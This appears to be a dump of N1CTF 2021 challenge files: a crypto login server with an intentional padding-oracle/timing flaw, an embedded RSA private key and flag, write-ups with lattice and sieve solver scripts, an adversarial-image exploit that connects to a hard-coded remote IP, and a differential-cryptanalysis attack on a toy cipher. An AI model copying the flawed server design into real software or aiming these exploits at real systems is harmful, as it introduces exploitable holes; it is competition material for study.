Ts0g/geVcu4KW2ibEwr2IaruyzBrgo1m64z6z+iVrLq5+SnbJCjofCAMPiT1sVpK 21 | 7VmlGlnv9FCBM/gKgp+rzZcCgYA5CX+dKXej161iO+Lu3LKeJaGaDXLUmgHKcy8I 22 | 8SQtl6/+bhG9Fvju3Yo9OkKy5X8sKuR2XDfnWXK6XFVQCh1Xw909FvtPTewCltzC 23 | X6d8WnXSsOP4qjv85QAePhqeHJnePJZ5NBOjXoS+clJ9PSE5c/nD8w2lRFiRVPzf 24 | qyzAcQKBgQDFtdJf440Z9qHCYLJ3bVjKd/JqlPWRhfTKXp/7MZ5uBcdm8yNfE/mS 25 | oHooyuTcecrRyZIkSS7GxtLRecs0PX5LuAcCI1hAAv+KE20z13fQKRAOPt7LjAuv 26 | E5PIDofDlzVn3pYdBljqbrlxkGOfQpiOuJBP8YQ6n40uY+CdlLqseg== 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /Crypto/n1ogin/deployment/secret.py: -------------------------------------------------------------------------------- 1 | FLAG = "n1ctf{R3m0t3_t1m1ng_4ttack_1s_p0ssibl3__4nd_u_sh0uld_v3r1fy_th3_MAC_f1rs7}" 2 | SALT = b"n1ctf 2021" -------------------------------------------------------------------------------- /Crypto/n1ogin/deployment/server.py: -------------------------------------------------------------------------------- 1 | import os 2 | import json 3 | import time 4 | 5 | from Crypto.PublicKey.RSA import import_key 6 | from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes 7 | from cryptography.hazmat.primitives import hashes, hmac 8 | 9 | from secret import FLAG, SALT 10 | 11 | 12 | # generated by `openssl genrsa -out n1ogin.pem 2048` 13 | PRIV_KEY = import_key(open("n1ogin.pem", "r").read()) 14 | 15 | # nonce for replay attack 16 | Nonces = set() 17 | 18 | 19 | def cal_password_hash(password): 20 | hash = password.encode() + SALT 21 | for _ in range(7777): # enhanced secure 22 | digest = hashes.Hash(hashes.MD5()) 23 | digest.update(hash) 24 | hash = digest.finalize() 25 | return hash 26 | 27 | def RSA_decrypt(rsa_data): 28 | cc = int.from_bytes(rsa_data, 'big') 29 | mm = pow(cc, PRIV_KEY.d, PRIV_KEY.n) 30 | message = mm.to_bytes(2048//8, 'big') 31 | 32 | if check_PKCS1(message): 33 | payload = message[-48:] 34 | else: 35 | # To prevent Bleichenbacher's attack, we continue with random bytes 36 | # when the PKCS1 check is not passed 37 | payload = os.urandom(48) 38 | return payload 39 | 40 | def check_PKCS1(message): 41 | # message: 0x00 || 0x02 || padding string || 0x00 || (48 bytes) payload 42 | ok = all([ 43 | message[0] == 0x00, 44 | message[1] == 0x02, 45 | all(byte != 0x00 for byte in message[2:-49]), 46 | message[-49] == 0x00 47 | ]) 48 | return ok 49 | 50 | def check_time(timestamp): 51 | return abs(int(time.time()) - timestamp) < 30 52 | 53 | def check_nonce(nonce): 54 | if nonce in Nonces: 55 | return False 56 | Nonces.add(nonce) 57 | return True 58 | 59 | def AES_decrypt(key, enc_data): 60 | # key: aes_key || hmac_key 61 | aes_key = key[:24] 62 | hmac_key = key[24:] 63 | # enc_data: iv || cipher || mac 64 | iv, cipher, mac = enc_data[:16], enc_data[16:-16], enc_data[-16:] 65 | 66 | aes = Cipher(algorithms.AES(aes_key), modes.CBC(iv)) 67 | decryptor = aes.decryptor() 68 | data = decryptor.update(cipher) + decryptor.finalize() 69 | 70 | # check padding 71 | data = unpad(data) 72 | if not data: 73 | return None, "padding error" 74 | 75 | # check hmac 76 | cal_mac = iv + cipher 77 | for _ in range(7777): # enhanced secure 78 | h = hmac.HMAC(hmac_key, hashes.MD5()) 79 | h.update(cal_mac) 80 | cal_mac = h.finalize() 81 | if cal_mac != mac: 82 | return None, "hmac error" 83 | 84 | return data, None 85 | 86 | def pad(pt): 87 | pad_length = 16 - len(pt)%16 88 | pt += bytes([pad_length]) * pad_length 89 | return pt 90 | 91 | def unpad(ct): 92 | pad_length = ct[-1] 93 | if pad(ct[:-pad_length]) == ct: 94 | return ct[:-pad_length] 95 | else: 96 | return None 97 | 98 | def login(username, password): 99 | if username not in Users or Users[username] != cal_password_hash(password): 100 | print("login failed...") 101 | return 102 | print(f"{username} login ok!") 103 | echo_shell(username) 104 | 105 | def register(username, password): 106 | if username in Users or len(username) > 20: 107 | print("register failed...") 108 | else: 109 | Users[username] = cal_password_hash(password) 110 | print(f"{username} register ok!") 111 | 112 | def echo_shell(username): 113 | while True: 114 | command = input(f"{username}@local> ") 115 | if username == "admin" and command == "flag": 116 | print(FLAG) 117 | elif command == "exit": 118 | exit(0) 119 | else: 120 | print(command) 121 | 122 | def handle(envelope): 123 | try: 124 | envelope_json = json.loads(envelope) 125 | 126 | key = RSA_decrypt(bytes.fromhex(envelope_json["rsa_data"])) 127 | content, err = AES_decrypt(key, bytes.fromhex(envelope_json["aes_data"])) 128 | if err: 129 | print("Error!") 130 | return 131 | 132 | content = json.loads(content) 133 | # check nonce 134 | if not check_nonce(content["nonce"]): 135 | print("Error!") 136 | return 137 | # check time 138 | if not check_time(content["timestamp"]): 139 | print("Error!") 140 | return 141 | # handle login/register 142 | choice = content["choice"] 143 | if choice == "login": 144 | login(content["username"], content["password"]) 145 | elif choice == "register": 146 | register(content["username"], content["password"]) 147 | else: 148 | print("Error!") 149 | 150 | except Exception as e: 151 | print("Error!") 152 | 153 | 154 | Users = { 155 | # username:password_hash 156 | "admin": cal_password_hash("R,YR35B7^r@'U3FV"), # admin password obeys the strong password policy 157 | "guest": cal_password_hash("guest") 158 | } 159 | 160 | 161 | def main(): 162 | print("Welcome to the n1ogin system!") 163 | while True: 164 | envelope = input("> ") 165 | handle(envelope) 166 | 167 | if __name__ == "__main__": 168 | main() -------------------------------------------------------------------------------- /Crypto/n1ogin/deployment/start_from_here.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | port = 7777 4 | command = 'socat -d -d tcp-l:' + str(port) + ',reuseaddr,fork EXEC:"python3 -u server.py" ' 5 | os.system(command) -------------------------------------------------------------------------------- /Crypto/n1token1/wp.md: -------------------------------------------------------------------------------- 1 | # n1token1 2 | 3 | This task combines the traditional use of lattice reduction with the quadratic sieve factoring method. 4 | 5 | First, we need to recover $c^2$ from these tokens. Let $x[i]$ be the product of those small primes. Since $c^2 / token_{i}^2=x_{i} \pmod{n}$ holds for all $i$ in range of 0 to 919 with $x[i]$ being 937bit at most, which is noticeably smaller than the 1024-bit modular n, a lattice can be constructed to compute $x[i]$, and then recover $c^2$. 6 | 7 | With $c^2$ recovered, we can calculate $x[i]$ and factor them since they are very smooth. By doing this, we can get 920 equations in the following form. 8 | $$ 9 | token_i^2 \equiv prime_0^{A_{i,0}} \cdot prime_1^{A_{i,1}} \cdots prime_{919}^{A_{i,919}}\cdot c^2 \pmod{n}. 10 | $$ 11 | A reasonable way to solve the problem is to eliminate $c^2$,or to deal with c after solving the linear system, but a more elegant way is considering $c^2$ as yet another "indivisible" prime and put it into the linear system as well. By calculating the basis of the left kernel matrix in GF(2) and multiplying all the corresponding equations together, a pair of (x,y) can be revealed, which satisfies both $x^2\equiv y^2 \pmod{n}$ and $x\neq \pm y \pmod{n}$. In other word, $x\equiv y \pmod{p}$, but $x \equiv -y \pmod{q}$. This allows us to factor n by calculating GCD(x-y,n) and GCD(x+y,n), and finish the challenge easily. 12 | 13 | ~~~python 14 | from Crypto.Util.number import * 15 | token = [] 16 | 17 | with open("output.txt") as f: 18 | n = int(f.readline().strip("n = ")) 19 | for i in range(920): 20 | token.append(int(f.readline().split(": ")[1])) 21 | 22 | size = 20 23 | B = matrix(ZZ,2*size-1,2*size-1) 24 | 25 | for i in range(size): 26 | B[i,i] = 1 27 | for i in range(size-1): 28 | B[0,size+i] = (token[i+1]*token[i+1]%n)<<1024 29 | B[i+1,size+i] = (-token[0]*token[0]%n)<<1024 30 | B[size+i,size+i] = n<<1024 31 | C = B.LLL() 32 | 33 | c2 = token[0]*token[0]*inverse(abs(C[0,0]),n)%n 34 | A = matrix(ZZ,920,921) 35 | primes = [] 36 | 37 | for i in range(920): 38 | x = token[i]*token[i]*inverse(c2,n)%n 39 | A[i, 920] = 1 40 | for j in range(len(primes)): 41 | while x%primes[j]==0: 42 | x = x//primes[j] 43 | A[i,j] += 1 44 | if x!=1: 45 | for j in sieve_base: 46 | if x%j==0: 47 | primes.append(j) 48 | while x%j==0: 49 | x = x//j 50 | A[i,len(primes)-1] += 1 51 | 52 | A2 = matrix(GF(2),A) 53 | res = A2.left_kernel().basis() 54 | 55 | x = 1 56 | y0 = vector(ZZ,921) 57 | for i in range(920): 58 | if res[0][i]==1: 59 | x = x*token[i]%n 60 | y0 += vector(ZZ,A[i]) 61 | 62 | y = pow(c2,int(y0[920])//2,n) 63 | for i in range(920): 64 | y = y*pow(primes[i],int(y0[i])//2,n)%n 65 | 66 | y = int(y) 67 | p = GCD(x-y,n) 68 | q = GCD(x+y,n) 69 | 70 | d = inverse(65537,int((p-1)*(q-1))) 71 | m = int(pow(c2,d,n))**(1/2) 72 | print(long_to_bytes(m)) 73 | ~~~ 74 | 75 | -------------------------------------------------------------------------------- /Crypto/n1token2/wp.md: -------------------------------------------------------------------------------- 1 | ## n1token2 2 | 3 | We are given that 4 | $$ 5 | y(x) = e + c_0 \cdot x + c_1 \cdot x^2 + c_2 \cdot x^3 + ... + c_{15} \cdot x^{16} \pmod{p} 6 | $$ 7 | Let 8 | 9 | $$ 10 | f(x) = c_{0} + c_{1} \cdot x + c_{2} \cdot x^2 + c_{3} \cdot x^3 + \cdots + c_{15} \cdot x^{15}\pmod{p} 11 | $$ 12 | Then, the former equation can be rewritten as 13 | $$ 14 | f(x)-(y(x)-e)/x \equiv 0 \pmod{p} 15 | $$ 16 | Although the exact value of $e$ is unknown, we can narrow down its range of values to 5 choices as $e[i]$ where $i=0,1,2,3,4$. 17 | 18 | Denote $k[i] = (y(x)-e[i])/x$, so one of $f(x)-k[i] \equiv 0 \pmod{p}$ must holds. 19 | 20 | Multiplying the 5 equations together, we can get the following equation. 21 | $$ 22 | F = (f(x)-k[0])(f(x)-k[1])(f(x)-k[2])(f(x)-k[3])(f(x)-k[4])\equiv 0 \pmod{p} 23 | $$ 24 | 25 | By expanding all the brackets, we can rewrite the equation as 26 | 27 | $$ 28 | F[5]*f5(x)+F[4]*f4(x)+F[3]*f3(x)+F[2]*f2(x)+F[1]*f1(x) \equiv -F[0] \pmod{p} 29 | $$ 30 | In the above equation, $fi(x)$, which is used to represent $(f(x))^i$, is a $15i$-th degree polynomial, and all of its $15i+1$ coefficients are independent of x. The five polynomials have a total of 76+61+46+31+16=230 unknown coefficients, and we have 250 tokens, so we can solve the coefficients by solving a system of linear equations. 31 | ~~~python 32 | p = 251 33 | y = bytes.fromhex('1d85d235d08dfa0f0593b1cfd41d3c98f2a542b2bf7a614c5d22ea787e326b4fd37cd6f68634d9bdf5f618605308d4bb16cb9b9190c0cb526e9b09533f19698b9be89b2e88ba00e80e44d6039d3c15555d780a6a2dbd14d8e57f1252334f16daef316ca692c02485684faee279d7bd926501c0872d01e62bc4d8baf55789b541358dfaa06d11528748534103a80c699a983c385e494a8612f4f124bd0b2747277182cec061c68197c5b105a22d9354be9e436c8393e3d2825e94f986a18bd6df9ab134168297c2e79eee5dc6ef15386b96b408b319f53b66c6e55b3b7d1a2a2930e9d34287b74799a59ab3f56a31ae3e9ffa73362e28f5751f79') 34 | e = [1, 20, 113, 149, 219] 35 | 36 | A = matrix(GF(p),250,230) 37 | b = vector(GF(p),250) 38 | PR. = PolynomialRing(GF(p)) 39 | for i in range(250): 40 | F = 1 41 | for j in range(5): 42 | F = F*(f-GF(p)((y[i]-e[j])/(i+1))) 43 | for j in range(76): 44 | A[i,j] = F[5]*pow(i+1,j,p) 45 | for j in range(61): 46 | A[i,j+76] = F[4]*pow(i+1,j,p) 47 | for j in range(46): 48 | A[i,j+137] = F[3]*pow(i+1,j,p) 49 | for j in range(31): 50 | A[i,j+183] = F[2]*pow(i+1,j,p) 51 | for j in range(16): 52 | A[i,j+214] = F[1]*pow(i+1,j,p) 53 | b[i] = -F[0] 54 | res = A.solve_right(b) 55 | flag = 'n1ctf{' + bytes(res[214:]).hex() + '}' 56 | print(flag) 57 | 58 | ~~~ 59 | -------------------------------------------------------------------------------- /Misc/README.md: -------------------------------------------------------------------------------- 1 | ### Misc 2 | -------------------------------------------------------------------------------- /Misc/collision/README: -------------------------------------------------------------------------------- 1 | WIP 2 | -------------------------------------------------------------------------------- /Misc/collision/exp.py: -------------------------------------------------------------------------------- 1 | import base64 2 | from pwn import * 3 | import numpy as np 4 | import cv2 5 | import torch 6 | import torch.nn as nn 7 | from hashlib import sha256 8 | import torch.nn.functional as F 9 | from torch.autograd import Variable 10 | from itertools import product 11 | from scipy.ndimage.filters import gaussian_filter 12 | import argparse 13 | import os 14 | from PIL import Image 15 | 16 | class Net(nn.Module): 17 | def __init__(self): 18 | super(Net, self).__init__() 19 | self.conv1 = nn.Conv2d(1, 32, 3, 1) 20 | self.conv2 = nn.Conv2d(32, 64, 3, 1) 21 | self.dropout1 = nn.Dropout(0.25) 22 | self.dropout2 = nn.Dropout(0.5) 23 | self.fc1 = nn.Linear(9216, 128) 24 | self.fc2 = nn.Linear(128, 10) 25 | 26 | def forward(self, x): 27 | x = self.conv1(x) 28 | x = F.relu(x) 29 | x = self.conv2(x) 30 | x = F.relu(x) 31 | x = F.max_pool2d(x, 2) 32 | x = self.dropout1(x) 33 | x = torch.flatten(x, 1) 34 | x = self.fc1(x) 35 | return x 36 | 37 | def load_model(path): 38 | model = Net() 39 | model.load_state_dict(torch.load(path, map_location="cpu")) 40 | return model.eval() 41 | 42 | def save_image(arr, path): 43 | im = Image.fromarray(arr) 44 | im.save(path) 45 | 46 | def get_hash_sim(adv_hash, std_hash): 47 | cnt = 0 48 | for i in range(len(adv_hash[0])): 49 | tmp1 = adv_hash[0][i] > 0 50 | tmp2 = std_hash[0][i] > 0 51 | if tmp1 != tmp2: 52 | cnt += 1 53 | return 1 - (cnt / len(adv_hash[0])) 54 | 55 | def cal_hash_bits(out): 56 | return out 57 | 58 | def hex_hash(hash_bits): 59 | x = hash_bits.detach().numpy() 60 | res = [str(int(i > 0)) for i in x[0]] 61 | return hex(int(''.join(res), 2)) 62 | model = load_model("convNet.pt") 63 | target_image=torch.FloatTensor(np.load("mnist.npz")['test_images'][8583]).reshape(1,1,28,28) 64 | target_out = model(target_image).detach() 65 | target_nsgn=-torch.sign(target_out).detach() 66 | image = torch.FloatTensor(np.load("mnist.npz")['test_images'][22]).reshape(1,1,28,28) 67 | adv=Variable(image,requires_grad=True) 68 | #optim=torch.optim.Adam([adv],lr=0.001) 69 | loss_f=nn.L1Loss() 70 | loss_l2=nn.MSELoss() 71 | def attack(): 72 | global adv 73 | # load model, seed, image 74 | max_sim = 0 75 | cnt = 0 76 | loss_cnt = 0 77 | losses = [] 78 | lr=0.1 79 | RATIO=10 80 | itercnt=0 81 | best = 9999 82 | best_l0 = 9999 83 | best_l2 = 9999 84 | save_image(image.squeeze().detach().numpy(), 'origion.tiff') 85 | save_image(target_image.squeeze().detach().numpy(), 'target.tiff') 86 | for i in range(10000): 87 | adv_out=model(adv) 88 | l1l=loss_f(adv,image)*RATIO 89 | hashl=torch.sum(F.relu(target_nsgn*adv_out)) 90 | l2l=loss_l2(adv,image) 91 | loss=l1l+hashl 92 | loss.backward() 93 | adv.requires_grad=False 94 | if hex_hash(adv_out)==hex_hash(target_out) and torch.sum(adv!=image).numpy() == 54 and l2l < 0.053: 95 | data = adv.squeeze().detach().numpy().astype("float32").tobytes() 96 | r = remote('43.129.202.109', '59101') 97 | context(log_level='debug') 98 | ALPHABET = string.ascii_letters + string.digits 99 | 100 | rec = r.recvline().decode() 101 | print(rec) 102 | rec = rec[rec.find('+')+1::] 103 | suffix = rec[rec.find('+')+1:rec.find(')')] 104 | digest = rec[rec.find('==')+3:-1] 105 | print(f"suffix: {suffix} \ndigest: {digest}") 106 | 107 | for i in product(ALPHABET, repeat=4): 108 | prefix = ''.join(i) 109 | guess = prefix + suffix 110 | if sha256(guess.encode()).hexdigest() == digest: 111 | log.info(f"Find XXXX: {prefix}") 112 | break 113 | r.sendline(prefix.encode()) 114 | r.sendline(base64.b64encode(data)) 115 | r.interactive() 116 | exit(0) 117 | 118 | # torch.nn.utils.clip_grad_norm_(adv.grad, 0.01) 119 | adv=adv-adv.grad*lr 120 | adv=adv.clamp(0,1) 121 | update = f"Iteration #{i}: l1={l1l} l2loss={l2l} hashloss={hashl}" 122 | print(update) 123 | print(hex_hash(adv_out)) 124 | print(hex_hash(target_out)) 125 | print("diffcount",torch.sum(torch.abs(adv-image)>0.005)) 126 | print(f"l0 loss: {torch.sum(adv!=image)}") 127 | 128 | print("best ", best) 129 | print(f"best_l0: {best_l0}") 130 | print(f"best_l2: {best_l2}") 131 | if hex_hash(adv_out)==hex_hash(target_out): 132 | best=min(best,torch.sum(torch.abs(adv-image)>0.005).numpy()) 133 | best_l0=min(best_l0,torch.sum(adv!=image).numpy()) 134 | best_l2 = min(best_l2, l2l) 135 | itercnt+=1 136 | #clip slight modify 137 | mask=(torch.abs(adv-image) 2 | #include 3 | using namespace std; 4 | typedef unsigned char u8; 5 | typedef unsigned int u32; 6 | const u8 ptbl[]={32,22,30,38,28,37,26,5,12,3,20,0,31,39,18,43,11,6,17,23,36,24,14,33,47,41,7,40,44,35,34,42,9,4,16,21,1,29,13,46,10,8,15,27,45,25,19,2}; 7 | const u8 p2tbl[]={47,28,34,48,0,43,9,25,30,18,62,55,36,24,11,52,38,5,37,35,60,15,42,21,40,53,33,27,32,58,3,19,10,16,29,20,50,12,59,13,49,54,63,1,46,57,39,61,31,17,6,14,56,2,7,41,51,8,26,45,4,22,44,23}; 8 | const u8 sbox[]={15,6,1,12,4,7,14,3,9,11,2,5,8,0,10,13,9,7,15,4,8,13,14,11,3,2,5,0,6,1,12,10,13,1,12,8,0,3,14,4,7,15,2,9,5,10,11,6,4,12,11,9,8,10,0,7,13,1,15,14,6,3,5,2,10,1,8,13,7,5,4,11,3,15,9,2,0,14,12,6,11,0,2,8,10,12,13,4,1,3,6,5,15,14,7,9,5,10,8,6,3,12,13,4,11,7,0,1,15,14,9,2,8,3,10,7,2,15,11,5,4,13,6,12,0,14,9,1,0,1,11,5,9,3,2,14,10,7,8,4,15,13,12,6,5,9,8,11,6,13,3,15,12,0,2,4,7,1,10,14,10,9,5,0,2,13,6,8,11,1,3,14,15,12,4,7,12,4,13,5,6,1,14,8,11,3,0,9,15,10,2,7,2,3,12,14,7,9,11,4,13,15,5,8,6,0,10,1,7,5,10,2,14,11,15,13,3,12,6,0,8,4,1,9,1,11,12,13,0,5,2,10,14,9,15,7,8,3,6,4,2,12,7,9,13,8,6,4,11,14,5,0,15,10,1,3,13,15,7,10,6,3,8,11,4,1,0,14,2,12,5,9,8,5,2,3,0,6,12,10,13,1,15,7,11,14,4,9,10,14,0,15,6,4,1,2,7,3,5,13,8,12,9,11,13,14,9,10,2,3,15,6,7,4,11,5,12,0,8,1,13,5,2,15,10,14,1,7,6,9,8,11,4,12,0,3,0,15,1,12,11,9,13,5,3,8,10,6,2,14,7,4,13,8,2,5,14,15,12,11,3,0,9,6,7,10,1,4,9,3,14,8,2,13,4,11,10,12,15,7,0,1,6,5,10,14,8,12,1,11,0,5,7,15,3,4,13,9,2,6,3,9,12,5,1,11,2,4,10,8,7,6,13,14,15,0,14,13,6,7,9,12,3,2,1,10,11,5,0,15,4,8,3,10,0,2,15,6,12,4,13,14,8,11,1,9,5,7,1,10,12,3,6,8,14,2,4,5,11,0,7,9,15,13,6,11,7,8,12,10,4,5,9,13,3,2,15,14,1,0,7,1,12,2,6,9,4,0,14,8,13,3,10,5,15,11,5,10,11,14,4,7,8,6,1,3,9,12,0,2,13,15}; 9 | #define range(i,n) for(int (i)=0;(i)<(n);++(i)) 10 | #define _EXPORT __attribute__((visibility ("default"))) 11 | #define _OPTIFUNC __attribute__((const)) inline static 12 | _OPTIFUNC bitset<48> e(bitset<32> s){ 13 | bitset<48> res; 14 | range(i,32){ 15 | res[i]=s[i]; 16 | } 17 | range(i,16){ 18 | res[32+i]=s[i<<1]^s[1+(i<<1)]; 19 | } 20 | return res; 21 | } 22 | template 23 | _OPTIFUNC bitset p(bitset inp,const u8* tbl){ 24 | bitset res; 25 | range(i,X){ 26 | res[i]=inp[tbl[i]]; 27 | } 28 | return res; 29 | } 30 | template 31 | _OPTIFUNC bitset ip(bitset inp,const u8* tbl){ 32 | bitset res; 33 | range(i,X){ 34 | res[tbl[i]]=inp[i]; 35 | } 36 | return res; 37 | } 38 | _OPTIFUNC bitset<32> sboxpass(bitset<48> inp){ 39 | u8 res[4]; 40 | range(i,8){ 41 | u32 k1=sbox[i*64+((inp>>(i*6))&bitset<48>{0b111111}).to_ulong()]; 42 | i++; 43 | u32 k2=sbox[i*64+((inp>>(i*6))&bitset<48>{0b111111}).to_ulong()]; 44 | res[i>>1]=((k2<<4)|k1); 45 | } 46 | return {*(unsigned int*)res}; 47 | } 48 | _OPTIFUNC bitset<32> f(bitset<32> x,bitset<48> k){ 49 | auto x1=e(x); 50 | x1=p<48>(x1,ptbl); 51 | x1^=k; 52 | return sboxpass(x1); 53 | } 54 | _OPTIFUNC bitset<48> getk(bitset<64> k,int rnd){ 55 | range(i,rnd){ 56 | k=ip<64>(k,p2tbl); 57 | } 58 | return {k.to_ullong()}; 59 | } 60 | const u8 k[]={123,87,24,249,207,81,114,215}; 61 | const char plain[]="aabbccdd"; 62 | _OPTIFUNC bitset<64> encblock(bitset<64> inp,bitset<64> key,bitset<64> iv){ 63 | inp^=iv; 64 | inp=p<64>(inp,p2tbl); 65 | bitset<32> l{inp.to_ullong()&0xffffffff},r{inp.to_ullong()>>32}; 66 | //range(i,3){ 67 | auto l1=r; 68 | auto r1=l^f(r, getk(key,0)); 69 | l=l1,r=r1; 70 | l1=r; 71 | r1=l^f(r, getk(key,1)); 72 | l=l1,r=r1; 73 | l1=r; 74 | r1=l^f(r, getk(key,2)); 75 | l=l1,r=r1; 76 | //} 77 | bitset<64> res{(r.to_ullong()<<32)|l.to_ullong()}; 78 | return ip<64>(res,p2tbl); 79 | } 80 | _OPTIFUNC bitset<64> decblock(bitset<64> inp,bitset<64> key,bitset<64> iv){ 81 | inp=p<64>(inp,p2tbl); 82 | bitset<32> l{inp.to_ullong()&0xffffffff},r{inp.to_ullong()>>32}; 83 | //range(i,3){ 84 | auto l1=r^f(l, getk(key,2)); 85 | auto r1=l; 86 | l=l1,r=r1; 87 | l1=r^f(l, getk(key,1)); 88 | r1=l; 89 | l=l1,r=r1; 90 | l1=r^f(l, getk(key,0)); 91 | r1=l; 92 | l=l1,r=r1; 93 | //} 94 | bitset<64> res{(r.to_ullong()<<32)|l.to_ullong()}; 95 | return ip<64>(res,p2tbl)^iv; 96 | } 97 | extern "C" { 98 | _EXPORT void encrypt(unsigned long long *payload, unsigned int blks, unsigned long long key, 99 | unsigned long long *out); 100 | _EXPORT void decrypt(unsigned long long *payload, unsigned int blks, unsigned long long key, 101 | unsigned long long *out); 102 | } 103 | extern "C" { 104 | _EXPORT void encrypt(unsigned long long *payload, unsigned int blks, unsigned long long key, 105 | unsigned long long *out) { 106 | if(blks>300) return; 107 | bitset<64> iv; 108 | range(i, blks) { 109 | bitset<64> last = encblock({*payload}, {key}, iv); 110 | *out = last.to_ullong(); 111 | ++out; 112 | ++payload; 113 | iv = last; 114 | } 115 | } 116 | _EXPORT void decrypt(unsigned long long *payload, unsigned int blks, unsigned long long key, 117 | unsigned long long *out) { 118 | if(blks>300) return; 119 | bitset<64> iv; 120 | range(i, blks) { 121 | bitset<64> last = decblock({*payload}, {key}, iv); 122 | iv={*payload}; 123 | *out = last.to_ullong(); 124 | ++out; 125 | ++payload; 126 | } 127 | } 128 | } 129 | -------------------------------------------------------------------------------- /Misc/ctfhub/exp.py: -------------------------------------------------------------------------------- 1 | import itertools 2 | import os 3 | import random 4 | from typing import Callable, Iterable 5 | random.seed(23331337) 6 | 7 | def genrandseq(l: int): 8 | src = [_ for _ in range(l)] 9 | random.shuffle(src) 10 | return src 11 | 12 | sbox = [(genrandseq(16) + genrandseq(16) + genrandseq(16) + genrandseq(16)) for j in 13 | range(8)] # 32 to 48(6*8) #6bit to 4bit 14 | p_tbl = genrandseq(48) 15 | p2_tbl = genrandseq(64) 16 | #print(','.join(map(lambda x: str(x), p_tbl))) 17 | #print(','.join(map(lambda x: str(x), p2_tbl))) 18 | #print(','.join(map(lambda x: str(x), itertools.chain(*sbox)))) 19 | 20 | 21 | # extend 32 to 48 22 | def e(x: list[int]): 23 | out = x.copy() 24 | for i in range(16): 25 | out.append(x[i * 2] ^ x[i * 2 + 1]) 26 | return out 27 | 28 | 29 | def p(x: list[int], tbl: list): 30 | assert (len(x) == len(tbl)) 31 | final = x.copy() 32 | for i in range(len(x)): 33 | final[i] = x[tbl[i]] 34 | return final 35 | 36 | 37 | def inv_p(x: list[int], tbl: list): 38 | assert (len(x) == len(tbl)) 39 | out = x.copy() 40 | for i in range(len(x)): 41 | out[tbl[i]] = x[i] 42 | return out 43 | 44 | 45 | def list2int(l): 46 | return int(''.join(map(lambda x: '1' if x == 1 else '0', l))[::-1], 2) 47 | def list2bytes(l): 48 | return int.to_bytes(list2int(l),length=8,byteorder='little',signed=False) 49 | 50 | def listxor(x, y): 51 | assert (len(x) == len(y)) 52 | return list(map(lambda a, b: a ^ b, x, y)) 53 | 54 | 55 | def sbox_pass(x: list[int], k: list[int]) -> list[int]: 56 | out = listxor(x, k) 57 | out2 = [] 58 | for i in range(8): 59 | sub = list2int(out[i * 6:i * 6 + 6]) 60 | out2.append("{:0>4b}".format(sbox[i][sub])[::-1]) 61 | return list(map(lambda _: 1 if _ == '1' else 0, ''.join(out2))) 62 | 63 | 64 | def f(x: list[int], k: list[int]) -> list[int]: 65 | x = e(x) 66 | x = p(x, p_tbl) 67 | return sbox_pass(x, k) 68 | 69 | 70 | def getk(k: list[int], rnd: int): 71 | for i in range(rnd): 72 | k = inv_p(k, p2_tbl) 73 | return k[:48] 74 | 75 | 76 | def enc_blk(x: list[int], k: list[int]): 77 | x = p(x, p2_tbl) 78 | l, r = x[:32], x[32:] 79 | for i in range(3): 80 | l, r = r, listxor(f(r, getk(k, i)), l) 81 | return inv_p(l + r, p2_tbl) 82 | 83 | 84 | def dec_blk(x: list[int], k: list[int]): 85 | x = p(x, p2_tbl) 86 | l, r = x[:32], x[32:] 87 | for i in range(3): 88 | l, r = listxor(f(l, getk(k, 2 - i)), r), l 89 | return inv_p(l + r, p2_tbl) 90 | 91 | 92 | # assert (dec_blk(enc_blk([0] * 64, [1] * 64), [1] * 64) == [0] * 64) 93 | 94 | 95 | def byte2list(x: bytes): 96 | return list(map(lambda _: int(_), list(("{0:0>" + str(len(x) * 8) + "b}").format(int.from_bytes(x, "little")))))[ 97 | ::-1] 98 | 99 | 100 | def attack_sbox(idx: int, inpstar: list[int], oneinp: list[int], outstar: list[int]) -> set[int]: 101 | def get_diff(box): 102 | cf = {} 103 | for i in range(64): 104 | for j in range(0, i + 1): 105 | k = i ^ j 106 | d = box[i] ^ box[j] 107 | cf.setdefault((k, d), set()) 108 | cf[(k, d)].add(i) 109 | cf[(k, d)].add(j) 110 | return cf 111 | 112 | diff = get_diff(sbox[idx]) 113 | possible = diff[(list2int(inpstar), list2int(outstar))] 114 | hint = list2int(oneinp) 115 | res = set(map(lambda x: x ^ hint, possible)) 116 | return res 117 | 118 | 119 | def attack(decfun: Callable[[list[int]], list[int]]) -> dict[int, set[int]]: 120 | ''' 121 | l0 r0 122 | enc: 123 | l1=r0 r1=l0^f(r0,k0) 124 | l2=r1 r2=l1^f(r1,k1) 125 | l3=r2 r3=l2^f(r2,k2) 126 | dec: 127 | l1=r0^f(l0,k2) r1=l0 128 | l2=r1^f(l1,k1) r2=l1 129 | l3=r2^f(l2,k0) r3=l2 130 | l0*=0 r0*=* 131 | l1*=* r1*=0 132 | l2*=? r2*=* 133 | l3*=*^f*(l2,k0)(known) r3*=l2*(known) 134 | ''' 135 | l0, r0, r0d = tuple(map(lambda _: byte2list(os.urandom(4)), range(3))) 136 | 137 | def decpair(l, r): 138 | o1 = l + r 139 | o1 = inv_p(o1, p2_tbl) 140 | o1 = decfun(o1) 141 | o1 = p(o1, p2_tbl) 142 | return o1[:32], o1[32:] 143 | 144 | l3, r3 = decpair(l0, r0) 145 | star = listxor(r0, r0d) 146 | l3n, r3n = decpair(l0, r0d) 147 | l3s = listxor(listxor(l3, l3n), star) 148 | 149 | inpstar = listxor(p(e(r3), p_tbl), p(e(r3n), p_tbl)) 150 | outstar = l3s 151 | possible = dict() 152 | for i in range(8): 153 | possible[i] = attack_sbox(i, inpstar[i * 6:i * 6 + 6], p(e(r3), p_tbl)[i * 6:i * 6 + 6], 154 | outstar[i * 4:i * 4 + 4]) 155 | return possible 156 | 157 | 158 | def attack3(decf: Callable[[list[int]], list[int]], check_enc: list[list[int]], check_plain: list[list[int]]): 159 | 160 | res = attack(decf) 161 | for _ in range(6): 162 | res1 = attack(decf) 163 | for i in range(8): 164 | res[i].intersection_update(res1[i]) 165 | guesskey = [] 166 | for i in range(8): 167 | assert (len(list(res[i])) == 1) 168 | subk = list(res[i])[0] 169 | guesskey += list(map(lambda _: int(_), list("{0:0>6b}".format(subk)[::-1]))) 170 | print("guess",guesskey) 171 | 172 | ans = [] 173 | for i in range(65536): 174 | nowkey = guesskey + list(map(lambda _: int(_), list("{0:0>16b}".format(i)))) 175 | succflag = True 176 | for _ in range(len(check_enc)): 177 | if dec_blk(check_enc[_], nowkey) != check_plain[_]: 178 | succflag = False 179 | break 180 | if succflag: 181 | 